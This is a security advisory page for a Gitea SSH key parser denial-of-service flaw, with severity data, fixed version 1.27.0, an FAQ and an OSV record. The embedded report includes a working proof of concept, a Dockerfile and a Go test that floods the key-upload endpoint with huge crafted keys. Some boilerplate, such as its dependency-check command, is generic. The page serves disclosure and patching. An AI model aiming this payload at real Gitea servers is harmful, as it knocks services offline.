CVE-2026-56657: Code.gitea.io/gitea Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-4xjf-493q-98p3
CVSS 6.2
CWE-284 CWE-400
Published
Advisory Summary

CVE-2026-56657 is a MODERATE (CVSS 6.2) denial of service vulnerability (CWE-284: Improper Access Control) affecting Code.gitea.io/gitea libraries in the Go ecosystem. The issue involves gitea ssh key parser denial of service. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-56657 at a Glance

CVE Identifier CVE-2026-56657
GHSA Identifier GHSA-4xjf-493q-98p3
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-284: Improper Access Control
Affected Product Code.gitea.io/gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-56657

To remediate this vulnerability, upgrade all affected Code.gitea.io/gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
gitea.dev fixed: 1.27.0
Upgrade gitea.dev to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56657, inspect your project dependencies for Code.gitea.io/gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Code.gitea.io/gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Code.gitea.io/gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline. ### Root Cause An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total). The request reaches `CreateUserPublicKey` with no prior size check: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212 This calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79 Because Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N²)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key. This is only possible because neither the web form field nor the API struct carries a size constraint: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317 https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49 ### PoC To reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory: `poc/Dockerfile` ```docker FROM golang:1.26-alpine AS builder RUN apk add --no-cache git build-base WORKDIR /gitea # Download deps in a separate layer so rebuilds are fast after source changes. COPY go.mod go.sum ./ RUN go mod download # Copy full source (needed for fixtures, config templates, and compilation). COPY . . # Compile the integration test binary. # modernc sqlite (pure Go, no CGO needed) is the default driver. RUN CGO_ENABLED=0 go test -c \ -o /integration.test \ gitea.dev/tests/integration # ── runtime image ──────────────────────────────────────────────────────────── FROM alpine:3.22 # git is required at runtime: the test framework initialises git repos. RUN apk add --no-cache git COPY --from=builder /integration.test /integration.test # Keep the full source at /gitea so runtime.Caller(0) path resolution works # and fixtures / config templates are accessible. COPY --from=builder /gitea /gitea RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea WORKDIR /gitea USER poc ENTRYPOINT ["/integration.test", \ "-test.run", "TestDoSSSHKeyParserOOM", \ "-test.v", \ "-test.timeout", "600s"] ``` `tests/integration/poc_dos_test.go` ```go package integration import ( "fmt" "runtime" "runtime/debug" "strings" "sync" "sync/atomic" "testing" "time" auth_model "gitea.dev/models/auth" api "gitea.dev/modules/structs" "gitea.dev/tests" ) func TestDoSSSHKeyParserOOM(t *testing.T) { defer tests.PrepareTestEnv(t)() // Raise the GC trigger so intermediate strings accumulate faster, // matching realistic server behaviour under sustained allocation load. debug.SetGCPercent(400) // Log in as an ordinary user — no special privileges needed. session := loginUser(t, "user1") token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser) const ( numLines = 400_000 charsPerLine = 100 numWorkers = 400 ) var sb strings.Builder sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n") sb.WriteString("Comment: dos\n") line := strings.Repeat("a", charsPerLine) + "\n" for i := 0; i < numLines; i++ { sb.WriteString(line) } sb.WriteString("---- END SSH2 PUBLIC KEY ----\n") payload := sb.String() peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30) t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB", float64(len(payload))/(1<<20), numWorkers, peakGB) // Each goroutine marshals its own JSON body. The bytes live in req.Body // for the entire duration of MakeRequest, so numWorkers concurrent // goroutines hold numWorkers × payload_size bytes simultaneously. // With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM. var ( wg sync.WaitGroup done atomic.Int64 ready = make(chan struct{}) start = time.Now() ) for i := 0; i < numWorkers; i++ { wg.Add(1) go func(id int) { defer func() { done.Add(1); wg.Done() }() <-ready req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{ Title: fmt.Sprintf("dos-%d", id), Key: payload, }).AddTokenAuth(token) MakeRequest(t, req, NoExpectedStatus) }(i) } go func() { var ms runtime.MemStats ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() for range ticker.C { runtime.ReadMemStats(&ms) t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB", time.Since(start).Seconds(), done.Load(), numWorkers, float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30)) } }() close(ready) wg.Wait() t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines", time.Since(start).Seconds()) } ``` When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following: ```sh docker build -t gitea-dos-poc -f poc/Dockerfile . docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc ``` Which prints out: ``` === TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35) testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost) testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost) poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB ``` ... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

CVE-2026-56657 Affected Code.gitea.io/gitea Versions

2 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0
gitea.dev
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-56657?
CVE-2026-56657 is a security vulnerability in Code.gitea.io/gitea involving Gitea SSH Key Parser Denial of Service under CWE-284: Improper Access Control.
Which Code.gitea.io/gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea, gitea.dev.
What version fixes CVE-2026-56657?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
Is gitea.dev affected?
Yes, gitea.dev is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-56657?
CVE-2026-56657 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-56657?
CVE-2026-56657 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-56657?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xjf-493q-98p3",
  "modified" : "2026-09-24T15:23:08Z",
  "published" : "2026-07-21T21:09:57Z",
  "aliases" : [ "CVE-2026-56657" ],
  "summary" : "Gitea SSH Key Parser Denial of Service",
  "details" : "Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.\n\n### Root Cause\n\nAn attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).\n\nThe request reaches `CreateUserPublicKey` with no prior size check:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212\n\nThis calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79\n\nBecause Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N²)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.\n\nThis is only possible because neither the web form field nor the API struct carries a size constraint:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49\n\n### PoC\n\nTo reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory:\n\n`poc/Dockerfile`\n```docker\nFROM golang:1.26-alpine AS builder\n\nRUN apk add --no-cache git build-base\n\nWORKDIR /gitea\n\n# Download deps in a separate layer so rebuilds are fast after source changes.\nCOPY go.mod go.sum ./\nRUN go mod download\n\n# Copy full source (needed for fixtures, config templates, and compilation).\nCOPY . .\n\n# Compile the integration test binary.\n# modernc sqlite (pure Go, no CGO needed) is the default driver.\nRUN CGO_ENABLED=0 go test -c \\\n      -o /integration.test \\\n      gitea.dev/tests/integration\n\n# ── runtime image ────────────────────────────────────────────────────────────\nFROM alpine:3.22\n\n# git is required at runtime: the test framework initialises git repos.\nRUN apk add --no-cache git\n\nCOPY --from=builder /integration.test /integration.test\n# Keep the full source at /gitea so runtime.Caller(0) path resolution works\n# and fixtures / config templates are accessible.\nCOPY --from=builder /gitea /gitea\n\nRUN adduser -D -u 1000 poc && chown -R poc:poc /gitea\n\nWORKDIR /gitea\n\nUSER poc\n\nENTRYPOINT [\"/integration.test\", \\\n            \"-test.run\", \"TestDoSSSHKeyParserOOM\", \\\n            \"-test.v\", \\\n            \"-test.timeout\", \"600s\"]\n```\n\n`tests/integration/poc_dos_test.go`\n```go\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n)\n\nfunc TestDoSSSHKeyParserOOM(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Raise the GC trigger so intermediate strings accumulate faster,\n\t// matching realistic server behaviour under sustained allocation load.\n\tdebug.SetGCPercent(400)\n\n\t// Log in as an ordinary user — no special privileges needed.\n\tsession := loginUser(t, \"user1\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)\n\n\tconst (\n\t\tnumLines     = 400_000\n\t\tcharsPerLine = 100\n\t\tnumWorkers   = 400\n\t)\n\n\tvar sb strings.Builder\n\tsb.WriteString(\"---- BEGIN SSH2 PUBLIC KEY ----\\n\")\n\tsb.WriteString(\"Comment: dos\\n\")\n\tline := strings.Repeat(\"a\", charsPerLine) + \"\\n\"\n\tfor i := 0; i < numLines; i++ {\n\t\tsb.WriteString(line)\n\t}\n\tsb.WriteString(\"---- END SSH2 PUBLIC KEY ----\\n\")\n\tpayload := sb.String()\n\n\tpeakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)\n\tt.Logf(\"payload=%.1f MB  workers=%d  peak_theory=%.1f GB\",\n\t\tfloat64(len(payload))/(1<<20), numWorkers, peakGB)\n\n\t// Each goroutine marshals its own JSON body. The bytes live in req.Body\n\t// for the entire duration of MakeRequest, so numWorkers concurrent\n\t// goroutines hold numWorkers × payload_size bytes simultaneously.\n\t// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.\n\tvar (\n\t\twg    sync.WaitGroup\n\t\tdone  atomic.Int64\n\t\tready = make(chan struct{})\n\t\tstart = time.Now()\n\t)\n\n\tfor i := 0; i < numWorkers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tdefer func() { done.Add(1); wg.Done() }()\n\t\t\t<-ready\n\n\t\t\treq := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n\t\t\t\tTitle: fmt.Sprintf(\"dos-%d\", id),\n\t\t\t\tKey:   payload,\n\t\t\t}).AddTokenAuth(token)\n\n\t\t\tMakeRequest(t, req, NoExpectedStatus)\n\t\t}(i)\n\t}\n\n\tgo func() {\n\t\tvar ms runtime.MemStats\n\t\tticker := time.NewTicker(5 * time.Second)\n\t\tdefer ticker.Stop()\n\t\tfor range ticker.C {\n\t\t\truntime.ReadMemStats(&ms)\n\t\t\tt.Logf(\"[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB\",\n\t\t\t\ttime.Since(start).Seconds(), done.Load(), numWorkers,\n\t\t\t\tfloat64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))\n\t\t}\n\t}()\n\n\tclose(ready)\n\twg.Wait()\n\tt.Logf(\"all done in %.1fs — container survived, increase numWorkers or numLines\",\n\t\ttime.Since(start).Seconds())\n}\n```\n\nWhen you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:\n\n```sh\ndocker build -t gitea-dos-poc -f poc/Dockerfile .\ndocker run --rm --memory=12g --memory-swap=12g gitea-dos-poc\n```\n\nWhich prints out:\n```\n=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)\n    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)\n    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB\n```\n\n... demonstrating high memory consumption. On my end, memory is consumed within 1 second.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitea.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56657"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/gitea-1.27.0-is-released"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:09:57Z",
    "nvd_published_at" : "2026-08-13T17:17:25Z"
  }
}